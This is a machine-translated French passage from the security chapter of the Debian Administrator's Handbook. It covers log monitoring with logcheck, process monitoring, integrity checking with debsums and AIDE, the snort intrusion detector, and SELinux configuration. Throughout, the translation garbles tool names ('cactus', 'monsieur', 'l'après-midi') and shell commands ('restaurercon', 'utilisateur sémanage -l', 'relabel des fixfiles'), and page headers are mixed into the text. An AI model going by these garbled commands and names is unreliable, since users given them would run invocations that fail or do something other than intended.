La surveillance fait partie intégrante de toute politique de sécurité pour plusieurs raisons. Parmi eux, l'objectif de la sécurité ne se
limite généralement pas à garantir la confidentialité des données, mais inclut également la garantie de la disponibilité des services.
Il est donc impératif de vérifier que tout fonctionne comme prévu, et de détecter à temps tout comportement déviant ou changement
dans la qualité du ou des services rendus. L'activité de surveillance peut permettre de détecter les tentatives d'intrusion et de réagir
rapidement avant qu'elles n'entraînent de graves conséquences. Cette section passe en revue certains outils qui peuvent être
utilisés pour surveiller plusieurs aspects d'un système Debian. À ce titre, il complète la section dédiée à la surveillance générique
du système au chapitre 12, Administration avancée (page 298).

14.3.1. Surveillance des journaux avec logcheck

Le programme logcheck surveille les fichiers journaux toutes les heures par défaut. Il envoie des messages de journal inhabituels
dans des e­mails à l'administrateur pour une analyse plus approfondie.

La liste des fichiers surveillés est stockée dans /etc/logcheck/[Link] ; les valeurs par défaut fonctionnent correctement si
le fichier /etc/[Link] n'a pas été complètement révisé. logcheck peut fonctionner dans l'un des trois

modes plus ou moins détaillés : paranoïaque, serveur et poste de travail. Le premier est très verbeux et devrait probablement être
limité à des serveurs spécifiques tels que les pare­feu. Le deuxième mode (et par défaut) est recommandé pour la plupart des
serveurs. Le dernier est conçu pour les postes de travail et est encore plus concis (il filtre davantage de messages).

Dans les trois cas, logcheck devrait probablement être personnalisé pour exclure certains messages supplémentaires (en fonction
des services installés), à moins que l'administrateur ne souhaite vraiment recevoir des lots horaires de longs e­mails inintéressants.
Étant donné que le mécanisme de sélection des messages est plutôt complexe, /usr/share/doc/logcheck­database/
[Link]­[Link] est une lecture obligatoire (si difficile).

Les règles appliquées peuvent être divisées en plusieurs types :

382 Le manuel de l'administrateur Debian

Machine Translated by Google

• ceux qui qualifient un message de tentative de cracking (stockés dans un fichier du répertoire /etc/logcheck/
cracking.d/ répertoire);

• ceux qui annulent une telle qualification (/etc/logcheck/[Link].d/) ;

• ceux classifiant un message comme une alerte de sécurité (/etc/logcheck/violations.d/) ;

• ceux annulant cette classification (/etc/logcheck/[Link].d/) ;

• enfin, celles s'appliquant aux autres messages (considérés comme des événements système).

PRUDENCE Tout message marqué comme une tentative de cracking ou une alerte de sécurité
Ignorer un message (suite à une règle stockée dans un fichier /etc/logcheck/violations.d/myfile ) ne peut
être ignoré que par une règle dans un /etc/logcheck/[Link]. d/myfile ou /etc/
logcheck/ [Link].d/myfile­extension fichier.

Un événement système est toujours signalé, sauf si une règle figure dans l'un des fichiers /etc/logcheck/ignore.d.
Les répertoires {paranoid,server,workstation}/ indiquent que l'événement doit être ignoré. Bien entendu, les seuls
répertoires pris en compte sont ceux correspondant à des niveaux de verbosité égaux ou supérieurs au mode de
fonctionnement sélectionné.

CONSEIL
Certains administrateurs aiment voir leurs messages de journal défiler en temps réel ;
Vos logs en fond le package de commande root­tail (dans le root­tail) peut être utilisé pour intégrer les
d'écran journaux en arrière­plan de leur bureau graphique. Le programme xconsole (dans le
package x11­apps) peut également les faire défiler dans une petite fenêtre.
Les messages sont directement extraits de syslogd via le canal nommé /dev/xconsole .

14.3.2. Activité de surveillance

[Link]. En temps réel

top est un outil interactif qui affiche une liste des processus en cours d'exécution. Le tri par défaut est basé sur la
quantité actuelle d'utilisation du processeur et peut être obtenu avec la touche P. D'autres ordres de tri incluent un
tri par mémoire occupée ( touche M), par temps processeur total ( touche T) et par identifiant de processus
( touche N). La clé k permet de tuer un processus en saisissant son identifiant de processus.
La touche r permet de moderniser un processus, c'est à dire de changer sa priorité.

Lorsque le système semble surchargé, top est un excellent outil pour voir quels processus sont en concurrence
pour le temps processeur ou consomment trop de mémoire. En particulier, il est souvent intéressant de vérifier si
les processus consommateurs de ressources correspondent aux services réels que la machine est connue pour
héberger. Un processus inconnu exécuté en tant qu'utilisateur www­data devrait vraiment se démarquer et faire
l'objet d'une enquête, car il s'agit probablement d'une instance de logiciel installé et exécuté sur le système via une
vulnérabilité dans une application Web. top est un

outil très flexible et sa page de manuel donne des détails sur la façon de personnaliser son affichage et de l'adapter
à ses besoins et habitudes personnels.

Chapitre 14 — Sécurité 383

Machine Translated by Google

Les outils graphiques gnome­system­monitor et qps sont similaires à top et offrent à peu près les mêmes fonctionnalités.

CONSEIL
Pour des représentations plus visuelles (et divertissantes) de l'activité d'un ordinateur, il faut
Représentations visuelles de étudier les packages lavaps, bubblemon et bubblefishymon. les lavaps affichent les processus
l'activité en cours tandis que la cire bouillonne dans une lampe à lave. bubble­mon est une applet de
panneau de bureau représentant la quantité de mémoire utilisée et l'utilisation du processeur
comme un aquarium avec des bulles. bubblefishymon est assez similaire, mais il ajoute
également des poissons représentant le trafic réseau (et même un canard).

[Link]. Histoire

La charge du processeur, le trafic réseau et l'espace disque disponible sont des informations qui varient constamment.
Conserver un historique de leur évolution est souvent utile pour déterminer exactement comment l’ordinateur est utilisé.

Il existe de nombreux outils dédiés à cette tâche. La plupart peuvent récupérer des données via SNMP (Simple Network
Management Protocol) afin de centraliser ces informations. Un avantage supplémentaire est que cela permet de
récupérer des données à partir d'éléments de réseau qui ne sont pas nécessairement des ordinateurs à usage général,
tels que des routeurs ou des commutateurs de réseau dédiés.

Ce livre traite de Munin de manière assez détaillée (voir Section 12.4.1, « Configuration de Munin » (page 343)) dans le
cadre du Chapitre 12 : « Administration avancée » (page 298). Debian fournit également un outil similaire, cactus. Son
déploiement est légèrement plus complexe, puisqu'il repose uniquement sur SNMP. Malgré l'existence d'une interface
Web, la compréhension des concepts impliqués dans la configuration nécessite encore un certain effort. La lecture de la
documentation HTML (/usr/share/doc/cacti/html/[Link]) doit être considérée comme un prérequis.

ALTERNATIVE mrtg (dans le package du même nom) est un outil plus ancien. Malgré quelques aspérités, il
monsieur
peut regrouper des données historiques et les afficher sous forme de graphiques. Il comprend
un certain nombre de scripts dédiés à la collecte des données les plus couramment surveillées,
telles que la charge du processeur, le trafic réseau, les visites de pages Web, etc.

Les packages mrtg­contrib et mrtgutils contiennent des exemples de scripts qui peuvent être
utilisés directement.

14.3.3. Détection des changements

Une fois le système installé et configuré, et sauf mises à niveau de sécurité, il n'y a généralement aucune raison pour que
la plupart des fichiers et répertoires évoluent, à l'exception des données. Il est donc intéressant de s'assurer que les
fichiers ne changent effectivement pas : tout changement inattendu mériterait donc d'être étudié. Cette section présente
quelques outils capables de surveiller les fichiers et d'avertir l'administrateur lorsqu'un changement inattendu se produit
(ou simplement de lister ces changements).

384 Le manuel de l'administrateur Debian

Machine Translated by Google

[Link]. Packages d'audit : les debsums et leurs limites

ALLER PLUS LOIN debsums est utile pour détecter les modifications apportées aux fichiers provenant d'un
Se protéger des changements en paquet Debian, mais il sera inutile si le paquet lui­même est compromis, par exemple si le
amont miroir De­bian est compromis. La protection contre cette classe d'attaques implique d'utiliser
le système de vérification de signature numérique d'APT (voir Section 6.5, « Vérification de
l'authenticité des paquets » (page 123)) et de veiller à installer uniquement les paquets
provenant d'une origine certifiée.

debsums est un outil intéressant puisqu'il permet de retrouver quels fichiers installés ont été modifiés
(potentiellement par un attaquant), mais cela est à prendre avec des pincettes. D'abord parce que tous les
paquets Debian ne fournissent pas les empreintes digitales requises par ce programme (elles peuvent être
trouvées dans /var/lib/dpkg/info/package.md5sums lorsqu'elles existent). Pour rappel : une empreinte
digitale est une valeur, souvent un nombre (même s'il est en notation hexadécimale), qui contient une
sorte de signature du contenu d'un fichier. Cette signature est calculée avec un algorithme (MD5 ou SHA1
étant des exemples bien connus) qui garantit plus ou moins que même le plus petit changement dans le
contenu du fichier implique un changement dans l'empreinte digitale ; c’est ce qu’on appelle « l’effet
avalanche ». Cela permet à une simple empreinte numérique de servir de test décisif pour vérifier si le
contenu d’un fichier a été modifié. Ces algorithmes ne sont pas réversibles ; autrement dit, pour la plupart
d'entre eux, connaître une empreinte digitale ne permet pas de retrouver le contenu correspondant. Les
progrès mathématiques récents semblent affaiblir le caractère absolu de ces principes, mais leur utilisation
n'est pas remise en question pour l'instant, car créer des contenus différents donnant la même empreinte
semble encore une tâche assez difficile.

De plus, les fichiers md5sums sont stockés sur le disque dur ; un attaquant minutieux mettra donc à jour ces fichiers
afin qu'ils contiennent les nouvelles sommes de contrôle pour les fichiers subvertis.

Le premier inconvénient peut être évité en demandant à debsums de baser ses vérifications sur un package .deb au
lieu de s'appuyer sur le fichier md5sums . Mais cela nécessite d'abord de télécharger les fichiers .deb correspondants :

# apt­get ­­reinstall ­d install `debsums ­l` [ ... ] # debsums ­p /

var/
cache/apt/archives ­g

Il convient également de noter que, dans sa configuration par défaut, debsums génère automatiquement les fichiers
md5sums manquants chaque fois qu'un package est installé à l'aide d'APT.

L'autre problème peut être évité de la même manière : la vérification doit simplement être basée sur un fichier .deb
vierge. Puisque cela implique d'avoir tous les fichiers .deb pour tous les paquets installés et d'être sûr de leur intégrité,
le moyen le plus simple est de les récupérer depuis un miroir Debian. Cette opération peut être lente et fastidieuse et
ne doit donc pas être considérée comme une technique proactive à utiliser de manière régulière.

# apt­get ­­reinstall ­d install `grep­status ­e 'Statut : installation ok installé' ­n ­s Package` [ ... ]

# debsums ­p /var/cache/apt/archives
­­
generate = tout

Chapitre 14 — Sécurité 385

Machine Translated by Google

Notez que cet exemple utilise la commande grep­status du package grep­dctrl , qui n'est pas installé par défaut.

[Link]. Fichiers de surveillance : AIDE

L'outil AIDE (Advanced Intrusion Detection Environment) permet de vérifier l'intégrité des fichiers et de détecter tout
changement par rapport à une image préalablement enregistrée du système valide. Cette image est stockée sous forme de
base de données (/var/lib/aide/[Link]) contenant les informations pertinentes sur tous les fichiers du système (empreintes
digitales, autorisations, horodatages, etc.). Cette base de données est d'abord initialisée avec aideinit ; il est ensuite utilisé
quotidiennement (par le script /etc/[Link]/aide ) pour vérifier que rien de pertinent n'a changé. Lorsque des modifications
sont détectées, AIDE les enregistre dans des fichiers journaux (/var/log/aide/*.log) et envoie ses résultats à l'administrateur
par e­mail.

EN PRATIQUE Puisque AIDE utilise une base de données locale pour comparer les états des fichiers, la
Protection de la base de données validité de ses résultats est directement liée à la validité de la base de données. Si un pirate
obtient les autorisations root sur un système compromis, il pourra remplacer la base de
données et brouiller les pistes. Une solution possible consisterait à stocker les données de
référence sur un support de stockage en lecture seule.

De nombreuses options dans /etc/default/aide peuvent être utilisées pour modifier le comportement du package aide . La
configuration AIDE proprement dite est stockée dans /etc/aide/[Link] et /etc/aide/aide. conf.d/ (en fait, ces fichiers ne
sont utilisés que par update­[Link] pour générer /var/lib/aide/ [Link]). La configuration indique quelles
propriétés de quels fichiers doivent être vérifiées. Par exemple, le contenu des fichiers journaux change régulièrement et ces
modifications peuvent être ignorées tant que les autorisations de ces fichiers restent les mêmes, mais le contenu et les
autorisations des programmes exécutables doivent être constants. Bien que peu complexe, la syntaxe de configuration n'est
pas totalement intuitive, et la lecture de la page de manuel [Link](5) est donc recommandée.

Une nouvelle version de la base de données est générée quotidiennement dans /var/lib/aide/[Link] ; si toutes les
modifications enregistrées étaient légitimes, elle peut être utilisée pour remplacer la base de données de référence.

ALTERNATIVE Tripwire est très similaire à AIDE ; même la syntaxe du fichier de configuration est presque la
Tripwire et Samhain même. Le principal ajout fourni par tripwire est un mécanisme pour signer le fichier de
configuration, afin qu'un pirate ne puisse pas le faire pointer vers une version différente de la
base de données de référence.

Samhain propose également des fonctionnalités similaires, ainsi que certaines fonctions pour
aider à détecter les rootkits (voir l'encadré latéral RAPIDE). Il peut également être déployé
globalement sur un réseau, et enregistrer ses traces sur un serveur central (avec signature).

COUP D'OEIL Le premier de ces paquets contient plusieurs petits scripts effectuant des vérifications de base
Les packages checksecurity sur le système (mots de passe vides, nouveaux fichiers setuid, etc.) et avertissant
et chkrootkit/rkhunter l'administrateur si nécessaire. Malgré son nom explicite, un administrateur ne doit pas
s'appuyer uniquement sur lui pour garantir la sécurité d'un système Linux.

Les packages chkrootkit et rkhunter permettent de rechercher les rootkits potentiellement

installés sur le système. Pour rappel, il s'agit de logiciels conçus

386 Le manuel de l'administrateur Debian

Machine Translated by Google

pour cacher la compromission d'un système tout en gardant discrètement le contrôle de la machine.
Les tests ne sont pas fiables à 100 %, mais ils peuvent généralement attirer l'attention de
l'administrateur sur des problèmes potentiels.

14.3.4. Détection d'intrusion (IDS/NIDS)

RETOUR AUX SOURCES Une attaque de « déni de service » n’a qu’un seul but : rendre un service indisponible.
Déni de service Qu'une telle attaque consiste à surcharger le serveur de requêtes ou à exploiter un bug, le résultat
final est le même : le service n'est plus opérationnel.
Les utilisateurs réguliers sont mécontents et l'entité hébergeant le service réseau ciblé subit une perte
de réputation (et éventuellement de revenus, par exemple si le service était un site de commerce
électronique).

Une telle attaque est parfois « distribuée » ; cela implique généralement de surcharger le serveur avec
un grand nombre de requêtes provenant de nombreuses sources différentes, de sorte que le serveur
devient incapable de répondre aux requêtes légitimes. Ces types d'attaques ont reçu des acronymes
bien connus : DoS et DDoS (selon que l'attaque par déni de service est distribuée ou non).

snort (dans le paquet Debian du même nom) est un NIDS — un système de détection d'intrusion réseau.
Sa fonction est d'écouter le réseau et de tenter de détecter les tentatives d'infiltration et/ou les actes hostiles (y
compris les attaques par déni de service). Tous ces événements sont journalisés et un email quotidien est
envoyé à l'administrateur avec un résumé des dernières 24 heures.

Sa configuration nécessite de décrire la plage d'adresses couverte par le réseau local. En pratique, cela signifie
l’ensemble de toutes les cibles potentielles d’attaque. D'autres paramètres importants peuvent être configurés
avec dpkg­reconfigure snort, notamment l'interface réseau à surveiller. Ce sera souvent eth0 pour une connexion
Ethernet, mais d'autres possibilités existent comme ppp0 pour un ADSL ou un PSTN (Public Switched Telephone
Network, ou bon vieux modem commuté), ou encore wlan0 pour certaines cartes réseau sans fil.

G F Prelude apporte une surveillance centralisée des informations de sécurité. Son architecture modulaire

Intégration avec prélude comprend un serveur (le manager dans prelude­manager) qui rassemble les alertes générées par des
capteurs de différents types.

Snort peut être configuré comme un tel capteur. D'autres possibilités incluent prelude­lml (Log Monitor
Lackey) qui surveille les fichiers journaux (d'une manière similaire à logch eck, décrite dans la Section
14.3.1, « Surveillance des journaux avec logcheck » (page 382)).

Le fichier de configuration de snort (/etc/snort/[Link]) est très long et les nombreux commentaires décrivent
chaque directive avec beaucoup de détails. Pour en tirer le meilleur parti, il faut le lire dans son intégralité et
l'adapter à la situation locale. Par exemple, indiquer quelle machine héberge quel service peut limiter le nombre
d'incidents que snort rapportera, car une attaque par déni de service sur une machine de bureau est loin d'être
aussi critique qu'une attaque sur un serveur DNS. Une autre directive intéressante permet de stocker les
mappages entre adresses IP et adresses MAC (ces

Chapitre 14 — Sécurité 387

Machine Translated by Google

identifier une carte réseau), afin de permettre de détecter les attaques d'usurpation d'identité ARP par lesquelles une
machine compromise tente de se faire passer pour une autre telle qu'un serveur sensible.

PRUDENCE L'efficacité de Snort est limitée par le trafic observé sur l'interface réseau surveillée. Il
Champ d'action ne pourra évidemment rien détecter s’il ne peut pas observer le trafic réel. Lorsqu'il est
branché sur un switch réseau, il ne surveille donc que les attaques ciblant la machine
sur laquelle il fonctionne, ce qui n'est probablement pas l'intention. La machine
hébergeant snort doit donc être branchée sur le port « miroir » du switch, qui est
habituellement dédié au chaînage des switchs et récupère donc tout le trafic.

Sur un petit réseau basé autour d’un hub réseau, ce problème n’existe pas, puisque
toutes les machines reçoivent tout le trafic.

14.4. Introduction à SELinux

14.4.1. Des principes

SELinux (Security Enhanced Linux) est un système de contrôle d'accès obligatoire construit sur l'interface LSM (Linux
Security Modules) de Linux . En pratique, le noyau interroge SELinux avant chaque appel système pour savoir si le
processus est autorisé à effectuer l'opération donnée.

SELinux utilise un ensemble de règles – collectivement appelées politique – pour autoriser ou interdire les opérations.
Ces règles sont difficiles à créer. Heureusement, deux politiques standards (ciblée et stricte) sont fournies pour éviter
le gros du travail de configuration.

Avec SELinux, la gestion des droits est complètement différente des systèmes Unix traditionnels.
Les droits d'un processus dépendent de son contexte de sécurité. Le contexte est défini par l' identité de l'utilisateur
qui a démarré le processus, le rôle et le domaine que l'utilisateur portait à ce moment­là. Les droits dépendent
réellement du domaine, mais les transitions entre domaines sont contrôlées par les rôles. Enfin, les transitions
possibles entre les rôles dépendent de l'identité.

388 Le manuel de l'administrateur Debian

Machine Translated by Google

Figure 14.3 Contextes de sécurité et utilisateurs Unix

En pratique, lors de la connexion, l'utilisateur se voit attribuer un contexte de sécurité par défaut (en fonction
des rôles qu'il doit pouvoir endosser). Ceci définit le domaine actuel, et donc le domaine que porteront tous
les nouveaux processus enfants. Si vous souhaitez modifier le rôle actuel et son domaine associé, vous
devez appeler newrole ­r role_r ­t domain_t (il n'y a généralement qu'un seul domaine autorisé pour un rôle
donné, le paramètre ­t peut donc souvent être omis). Cette commande vous authentifie en vous demandant
de saisir votre mot de passe. Cette fonctionnalité interdit aux programmes de changer automatiquement de
rôle. De tels changements ne peuvent se produire que s'ils sont explicitement autorisés dans la politique
SELinux.

Bien évidemment les droits ne s'appliquent pas à tous les objets (fichiers, répertoires, sockets, périphériques,
etc.). Ils peuvent varier d'un objet à l'autre. Pour y parvenir, chaque objet est associé à un type (c'est ce qu'on
appelle l'étiquetage). Les droits de domaine sont ainsi exprimés par des ensembles d'opérations (non)
autorisées sur ces types (et, indirectement, sur tous les objets étiquetés avec le type donné).

SUPPLÉMENTAIRE
En interne, un domaine n'est qu'un type, mais un type qui s'applique uniquement aux processus.

Les domaines et les types sont C'est pourquoi les domaines portent le suffixe _t, tout comme les types d'objets.

équivalents

Par défaut, un programme hérite de son domaine pour l'utilisateur qui l'a démarré, mais les politiques SELinux
standard prévoient que de nombreux programmes importants s'exécutent dans des domaines dédiés. Pour y
parvenir, ces exécutables sont étiquetés avec un type dédié (par exemple, ssh est étiqueté avec ssh_exec_t,
et lorsque le programme démarre, il bascule automatiquement dans le domaine ssh_t ). Ce mécanisme de
transition automatique de domaine permet d'accorder uniquement les droits requis par chaque programme.
C'est un principe fondamental de SELinux.

Chapitre 14 — Sécurité 389

Machine Translated by Google

Figure 14.4 Transitions automatiques entre domaines

EN PRATIQUE Pour trouver le contexte de sécurité d'un processus donné, vous devez utiliser l'option Z de ps.

Trouver le contexte de sécurité

$ ps axZ | grep vstfpd

system_u:system_r:ftpd_t:s0 2094 ? SS 0:00 /usr/sbin/vsftpd

Le premier champ contient l'identité, le rôle, le domaine et le niveau MCS, séparés par des
deux­points. Le niveau MCS (Multi­Category Security) est un paramètre qui intervient dans la
mise en place d'une politique de protection de la confidentialité, qui régule l'accès aux
fichiers en fonction de leur sensibilité. Cette fonctionnalité ne sera pas expliquée dans ce
livre.

Pour trouver le contexte de sécurité actuel dans un shell, vous devez appeler id ­Z.

$ id ­Z
non confiné_u:unconfined_r:unconfined_t:s0­s0:c0.c1023

Enfin, pour trouver le type attribué à un fichier, vous pouvez utiliser ls ­Z.

$ ls ­Z test /usr/bin/ssh
unconfined_u:object_r:user_home_t:s0 test
system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Il convient de noter que l'identité et le rôle attribués à un fichier n'ont pas d'importance
particulière (ils ne sont jamais utilisés), mais par souci d'uniformité, tous les objets se voient
attribuer un contexte de sécurité complet.

14.4.2. Configuration de SELinux

La prise en charge de SELinux est intégrée aux noyaux standards fournis par Debian. Les outils Unix de base
prennent en charge SELinux sans aucune modification. Il est donc relativement simple d'activer SELinux.

390 Le manuel de l'administrateur Debian

Machine Translated by Google

La commande aptitude install selinux­basics selinux­policy­default installera automatiquement les

packages requis pour configurer un système SELinux.
Le package selinux­policy­default contient un ensemble de règles standard. Par défaut, cette stratégie restreint
uniquement l’accès à quelques services largement exposés. Les sessions utilisateur ne sont pas restreintes
et il est donc peu probable que SELinux bloque les opérations utilisateur légitimes. Cependant, cela améliore
la sécurité des services système exécutés sur la machine. Pour mettre en place une politique équivalente aux
anciennes règles « strictes », il suffit de désactiver le module non confiné (la gestion des modules est détaillée
plus loin dans cette section).

Une fois la politique installée, vous devez étiqueter tous les fichiers disponibles (ce qui signifie leur
attribuer un type). Cette opération doit être démarrée manuellement avec le relabel des fixfiles.
Le système SELinux est maintenant prêt. Pour l'activer, vous devez ajouter le paramètre selinux=1 au
noyau Linux. Le paramètre audit=1 active la journalisation SELinux qui enregistre toutes les opérations
refusées. Enfin, le paramètre enforcing=1 met les règles en application : sans lui, SELinux fonctionne
dans son mode permissif par défaut où les actions refusées sont enregistrées mais toujours exécutées.
Vous devez donc modifier le fichier de configuration du chargeur de démarrage GRUB pour ajouter les
paramètres souhaités. Un moyen simple de procéder consiste à modifier la variable
GRUB_CMDLINE_LINUX dans /etc/default/grub et à exécuter update­grub. SELinux sera actif après un redémarrage.

Il est à noter que le script selinux­activate automatise ces opérations et force un étiquetage au prochain
démarrage (ce qui évite de nouveaux fichiers non étiquetés créés alors que SELinux n'était pas encore
actif et pendant que l'étiquetage était en cours).

14.4.3. Gestion d'un système SELinux

La politique SELinux est un ensemble modulaire de règles, et son installation détecte et active
automatiquement tous les modules pertinents en fonction des services déjà installés. Le système est
ainsi immédiatement opérationnel. Cependant, lorsqu'un service est installé après la politique SELinux,
vous devez pouvoir activer manuellement le module correspondant. C'est le but de la commande
semodule . De plus, vous devez être capable de définir les rôles que chaque utilisateur peut assumer, et
cela peut être fait avec la commande semanage .

Ces deux commandes peuvent ainsi être utilisées pour modifier la configuration actuelle de SELinux, qui est
stockée dans /etc/selinux/default/. Contrairement aux autres fichiers de configuration que vous pouvez trouver
dans /etc/, tous ces fichiers ne doivent pas être modifiés manuellement. Vous devez utiliser les programmes conçus à cet effet
but.

ALLER PLUS LOIN La NSA ne fournissant aucune documentation officielle, la communauté a mis en place un wiki
Plus de documents pour compenser. Il rassemble beaucoup d'informations, mais il faut savoir que la plupart des
contributeurs de SELinux sont des utilisateurs de Fedora (où SELinux est activé par défaut).
La documentation tend donc à traiter spécifiquement de cette distribution.

[Link] Vous
devriez également jeter un œil à la page wiki Debian dédiée ainsi qu'au blog de Russel
Coker, qui est l'un des développeurs Debian les plus actifs travaillant sur le support
SELinux.

Chapitre 14 — Sécurité 391

Machine Translated by Google

[Link]
[Link]

[Link]. Gestion des modules SELinux

Les modules SELinux disponibles sont stockés dans le répertoire /usr/share/selinux/default/ . Pour activer l'un
de ces modules dans la configuration actuelle, vous devez utiliser le module semodule ­i. pp. L' extension pp
signifie " policy package".

La suppression d'un module de la configuration actuelle se fait avec semodule ­r module. Enfin, la commande
semodule ­l répertorie les modules actuellement activés. Il affiche également leurs numéros de version.

# semodule ­i /usr/share/selinux/default/[Link] # semodule ­l

aide 1.4.0

apache 1.10.0 1.7.0

[...] apm
#
semodule ­r aide
#semodule ­l

apache 1.10.0
l'après­ 1.7.0
midi [...]

semodule charge immédiatement la nouvelle configuration sauf si vous utilisez son option ­n . Il est à noter que
le programme agit par défaut sur la configuration actuelle (qui est indiquée par la variable SELINUXTYPE dans /
etc/selinux/config), mais que vous pouvez en modifier une autre en la spécifiant avec l' option ­s .

[Link]. Gestion des identités

Chaque fois qu'un utilisateur se connecte, une identité SELinux lui est attribuée. Cette identité définit les rôles
qu'ils pourront assumer. Ces deux mappages (de l'utilisateur vers l'identité et de cette identité vers les rôles)
sont configurables avec la commande semanage .

Vous devez absolument lire la page de manuel de semanage(8), même si la syntaxe de la commande a
tendance à être similaire pour tous les concepts gérés. Vous trouverez des options communes à toutes les
sous­commandes : ­a pour ajouter, ­d pour supprimer, ­m pour modifier, ­l pour lister et ­t pour indiquer un type

(ou un domaine). semanage login ­l répertorie le mappage actuel entre les identifiants utilisateur et les identités SELinux.
Les utilisateurs qui n'ont pas d'entrée explicite obtiennent l'identité indiquée dans l' entrée __default__ . La
commande sema nage login ­a ­s user_u user associera l' identité user_u à l'utilisateur donné.
Enfin, semanage login ­d user supprime l'entrée de mappage attribuée à cet utilisateur.

392 Le manuel de l'administrateur Debian

Machine Translated by Google

# semanage login ­a ­s user_u rhertzog

# semanage login ­l

Identifiant Utilisateur SELinux Gamme MLS/MCS

__default__ racine non confiné_u s0­s0:c0.c1023

rhertzog user_u Aucun

unconfined_u s0­s0:c0.c1023

system_u system_u # semanage login ­d rhertzog s0­s0:c0.c1023

semanage user ­l répertorie le mappage entre les identités des utilisateurs SELinux et les rôles autorisés. Ajouter
une nouvelle identité nécessite de définir à la fois les rôles correspondants et un préfixe d'étiquetage qui est
utilisé pour attribuer un type aux fichiers personnels (/home/user/*). Le préfixe doit être choisi parmi l'utilisateur,
le personnel et l'administrateur système. Le préfixe « staff » donne des fichiers de type « staff_home_dir_t ». Créer un
la nouvelle identité d'utilisateur SELinux est créée avec l'identité de préfixe semanage user ­a ­R Roles ­P.
Enfin, vous pouvez supprimer une identité d'utilisateur SELinux avec semanage user ­d Identity.

# semanage user ­a ­R 'staff_r user_r' ­P staff test_u

# utilisateur sémanage ­l

Étiquetage MLS/ MLS/

Utilisateur SELinux Préfixe Niveau MCS Plage MCS Rôles SELinux

racine administrateur système

s0 s0­s0:c0.c1023 staff_r sysadm_r
système_r
staff_u administrateur s0 s0­s0:c0.c1023 staff_r sysadm_r
sysadm_u système du personnel
s0 s0­s0:c0.c1023 administrateur_sys_r
system_u utilisateur s0 s0­s0:c0.c1023 système_r
test_u personnel s0 s0 staff_r utilisateur_r

unconfined_u non confiné s0 s0­s0:c0.c1023 system_r non confiné_r

utilisateur s0 s0 utilisateur_r

utilisateur_u # semanage utilisateur ­d test_u

[Link]. Gestion des contextes de fichiers, des ports et des booléens

Chaque module SELinux fournit un ensemble de règles d'étiquetage des fichiers, mais il est également possible d'ajouter des règles personnalisées.

règles d'étiquetage pour répondre à un cas spécifique. Par exemple, si vous souhaitez que le serveur Web puisse
lisez les fichiers dans la hiérarchie de fichiers /srv/www/ , vous pouvez exécuter semanage fcontext ­a ­
t httpd_sys_content_t "/srv/www(/.*) ?" suivi de restaurercon ­R /srv/www/. Le
la première commande enregistre les nouvelles règles d'étiquetage et la seconde réinitialise les types de fichiers en fonction
aux règles d'étiquetage actuelles.

Chapitre 14 — Sécurité 393

Machine Translated by Google

De même, les ports TCP/UDP sont étiquetés de manière à garantir que seuls les démons correspondants peuvent les écouter.
Par exemple, si vous souhaitez que le serveur Web puisse écouter sur le port 8080, vous devez exécuter semanage port ­m ­t
http_port_t ­p tcp 8080.

Certains modules SELinux exportent des options booléennes que vous pouvez modifier pour modifier le comportement des règles
par défaut. L' utilitaire getsebool peut être utilisé pour inspecter ces options (getsebool boolean affiche une option et getsebool ­a
toutes). La commande setsebool boolean value modifie la valeur actuelle d'une option booléenne. L' option ­P rend le changement
permanent, cela signifie que la nouvelle valeur devient la valeur par défaut et sera conservée lors des redémarrages. L'exemple
ci­dessous accorde aux serveurs Web un accès aux répertoires personnels (ceci est utile lorsque les utilisateurs ont des sites
Web personnels dans ~/public_html/).

# getsebool httpd_enable_homedirs
httpd_enable_homedirs ­­> désactivé
# setsebool ­P httpd_enable_homedirs activé #
getsebool httpd_enable_homedirs
httpd_enable_homedirs ­­> activé

14.4.4. Adapter les règles

La politique de SELinux étant modulaire, il pourrait être intéressant de développer de nouveaux modules pour les applications
(éventuellement personnalisées) qui en sont dépourvues. Ces nouveaux modules viendront alors compléter la politique de référence.

Pour créer de nouveaux modules, le package selinux­policy­dev est requis, ainsi que selinux­policy­doc. Ce dernier contient la
documentation des règles standards (/usr/share/doc/selinux­policy­doc/html/) et des exemples de fichiers qui peuvent être utilisés
comme modèles pour créer de nouveaux modules. Installez ces fichiers et étudiez­les de plus près :

$ zcat /usr/share/doc/selinux­policy­doc/[Link] >Makefile $ zcat /usr/share/

doc/selinux­policy­doc/[Link] >[Link] $ zcat /usr /share/doc/selinux­policy­
doc/[Link] >[Link] $ cp /usr/share/doc/selinux­policy­doc/[Link] ./

Le fichier .te est le plus important. Il définit les règles. Le fichier .fc définit les « contextes de fichiers », c'est­à­dire les types
attribués aux fichiers liés à ce module. Les données du fichier .fc sont utilisées lors de l'étape d'étiquetage du fichier. Enfin, le
fichier .if définit l'interface du module : c'est un ensemble de « fonctions publiques » que d'autres modules peuvent utiliser pour
interagir correctement avec le module que vous créez.

[Link]. Écrire un fichier .fc

La lecture de l'exemple ci­dessous devrait suffire pour comprendre la structure d'un tel fichier. Vous pouvez utiliser des expressions
régulières pour attribuer le même contexte de sécurité à plusieurs fichiers, voire à une arborescence de répertoires entière.

394 Le manuel de l'administrateur Debian

Machine Translated by Google

# L'exécutable myapp aura :

# Libellé : system_u:object_r:myapp_exec_t
# Sensibilité MLS : s0
# catégories MCS : <aucune>

­­
/usr/sbin/monapplication gen_context(system_u:object_r:myapp_exec_t,s0)

Exemple 14.2 fichier [Link]

[Link]. Écrire un fichier .if

Dans l'exemple ci­dessous, la première interface (« myapp_domtrans ») contrôle qui peut exécuter le
application. Le second (« myapp_read_log ») accorde les droits de lecture sur le log de l'application
des dossiers.

Chaque interface doit générer un ensemble valide de règles qui peuvent être intégrées dans un fichier .te . Tu devrais
déclarez donc tous les types que vous utilisez (avec la macro gen_require ), et utilisez les directives standards
pour accorder des droits. Notez cependant que vous pouvez utiliser les interfaces fournies par d'autres modules. Le suivant
La section donnera plus d’explications sur la manière d’exprimer ces droits.

## <summary>Exemple de stratégie Myapp</summary>

## <desc>
## <p>
## Texte plus descriptif sur myapp. Le <desc>
## la balise peut également utiliser <p>, <ul> et <ol>
## balises html pour le formatage.
## </p>
## <p>
## Cette stratégie prend en charge les fonctionnalités myapp suivantes :
## <ul>
## <li>Fonction A</li>
## <li>Fonction B</li>
## <li>Fonction C</li>
## </ul>
## </p>
## </desc>
#

########################################
## <résumé>
## Exécutez une transition de domaine pour exécuter myapp.

## </summary>
## <param name="domain">

Chapitre 14 — Sécurité 395

Machine Translated by Google

## Domaine autorisé à faire la transition.

## </param> #

interface(`myapp_domtrans',` gen_require(`

tapez monapp_t, monapp_exec_t ;

')

